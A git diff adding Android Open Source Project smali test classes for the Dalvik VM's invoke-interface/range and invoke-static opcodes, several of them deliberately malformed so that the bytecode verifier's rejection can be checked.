diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_1.smali
new file mode 100644
index 0000000..1627268
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_1.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_1.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
+.registers 8
+
+       invoke-interface/range {v6..v7}, Ljava/lang/Comparable;->compareTo(Ljava/lang/Object;)I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_10.smali
new file mode 100644
index 0000000..3e94fd9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_10.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_10.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
+.registers 8
+       const v6, 1243
+       invoke-interface/range {v6..v7}, Ljava/lang/Comparable;->compareTo(Ljava/lang/Object;)I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_11.smali
new file mode 100644
index 0000000..246e92b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_11.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_11.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+
+       invoke-interface/range {v4}, Ldot/junit/opcodes/invoke_interface_range/ITest;->doit()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_12.smali
new file mode 100644
index 0000000..fac5097
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_12.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_12.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface_range/ITest;)V
+.registers 5
+
+       invoke-interface/range {v4}, Ldot/junit/opcodes/invoke_interface_range/ITest;->doitNative()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_13.smali
new file mode 100644
index 0000000..fd0b385
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_13.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_13.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_13;
+.super  Ldot/junit/opcodes/invoke_interface_range/ITestImplAbstract;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_interface_range/ITestImplAbstract;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 7
+
+       invoke-interface/range {v6}, Ldot/junit/opcodes/invoke_interface_range/ITest;->doit()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_14.smali
new file mode 100644
index 0000000..4e09fa6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_14.smali

@@ -0,0 +1,55 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_14.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_14;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface_range/ITest;)I
+.registers 9
+    const v1, 123
+    const v2, 345
+
+    const v4, 64
+    const v5, 2
+    move-object v3, v8
+    invoke-interface/range {v3..v5}, Ldot/junit/opcodes/invoke_interface_range/ITest;->testArgsOrder(II)I
+    move-result v4
+    const v5, 32
+    if-ne v4, v5, :Label0
+
+    const v5, 123
+    if-ne v5, v1, :Label0
+
+    const v5, 345
+    if-ne v5, v2, :Label0
+
+
+    const v0, 1
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_16.smali
new file mode 100644
index 0000000..c2cc2b5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_16.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_16.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface_range/ITest;)V
+.registers 6
+
+       const/high16 v3, 1065353216
+       move-object v2, v5
+       invoke-interface/range {v2..v3}, Ldot/junit/opcodes/invoke_interface_range/ITest;->doit(F)V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_18.smali
new file mode 100644
index 0000000..5f91c2c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_18.smali

@@ -0,0 +1,27 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_18.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_18;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-interface/range {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_2.smali
new file mode 100644
index 0000000..b5f215a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_2.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
+.registers 8
+
+       invoke-interface/range {v6..v7}, Ljava/lang/Comparable;->compareTo(Ljava/lang/Object;)I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_20.smali
new file mode 100644
index 0000000..fb69883
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_20.smali

@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_20.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_20;
+.super  Ljava/lang/Object;
+
+.field public static i:I
+
+.method static constructor <clinit>()V
+.registers 2
+:Label0
+       const/4 v1, 0
+       sput v1, Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_20;->i:I
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface_range/ITest;)V
+.registers 5
+
+       invoke-interface/range {v3}, Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_20;-><clinit>()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_21.smali
new file mode 100644
index 0000000..83948cb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_21.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_21.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_21;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface_range/ITest;)V
+.registers 9
+
+    const-wide v4, 64
+    move-object v3, v8
+    invoke-interface/range {v3..v5}, Ldot/junit/opcodes/invoke_interface_range/ITest;->testArgsOrder(II)I
+    return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_22.smali
new file mode 100644
index 0000000..8cc0221
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_22.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_22.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_22;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 8
+
+       new-instance v0, Ldot/junit/opcodes/invoke_interface_range/ITestImpl;
+
+       invoke-interface/range {v0}, Ldot/junit/opcodes/invoke_interface_range/ITest;->doit()V
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_3.smali
new file mode 100644
index 0000000..02ff4e8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_3.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_3;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+       const/4 v1, 0
+       invoke-interface/range {v1}, Ldot/junit/opcodes/invoke_interface_range/ITest;->doit()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_5.smali
new file mode 100644
index 0000000..d61be97
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_5.smali

@@ -0,0 +1,28 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_5.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>(Ldot/junit/opcodes/invoke_interface_range/ITest;)V
+.registers 2
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       
+        invoke-interface/range {}, Ldot/junit/opcodes/invoke_interface_range/ITest;->doit()V
+       
+       return-void
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_7.smali
new file mode 100644
index 0000000..a14b654
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_7.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_7.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface_range/ITest;)V
+.registers 5
+
+       invoke-interface/range {v4}, Ldot/junit/opcodes/invoke_interface_range/ITest;->doitN()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_8.smali
new file mode 100644
index 0000000..d6ba933
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_8.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_8.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
+.registers 8
+
+       move-object v6, v8
+       invoke-interface/range {v6..v7}, Ljava/lang/Comparable;->compareTo(Ljava/lang/Object;)I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_9.smali
new file mode 100644
index 0000000..fb6ce80
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_9.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_9.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
+.registers 8
+
+       invoke-interface/range {v6}, Ljava/lang/Comparable;->compareTo(Ljava/lang/Object;)I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_1.smali
new file mode 100644
index 0000000..f7fb46a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_1.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_1.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -1234567
+       invoke-static {v1}, Ljava/lang/Math;->abs(I)I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_10.smali
new file mode 100644
index 0000000..32bf74c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_10.smali

@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_10.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_10;
+.super  Ljava/lang/Object;
+
+
+
+.method static constructor <clinit>()V
+.registers 0
+    return-void
+.end method
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-static {}, Ldot/junit/opcodes/invoke_static/d/T_invoke_static_10;-><clinit>()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_11.smali
new file mode 100644
index 0000000..b323d73
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_11.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_11.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -1234567
+       invoke-static {}, Ljava/lang/Math;->abs(I)I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_15.smali
new file mode 100644
index 0000000..bddc952
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_15.smali

@@ -0,0 +1,56 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_15.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 6
+
+    const v1, 123
+    const v2, 345
+
+    const v3, 12
+    const v4, 6
+    
+    invoke-static {v3, v4}, Ldot/junit/opcodes/invoke_static/TestClass;->testArgsOrder(II)I
+
+    move-result v3
+    const v4, 2
+    if-ne v3, v4, :Label0
+
+    const v4, 123
+    if-ne v1, v4, :Label0
+
+    const v4, 345
+    if-ne v2, v4, :Label0
+
+    const v0, 1
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
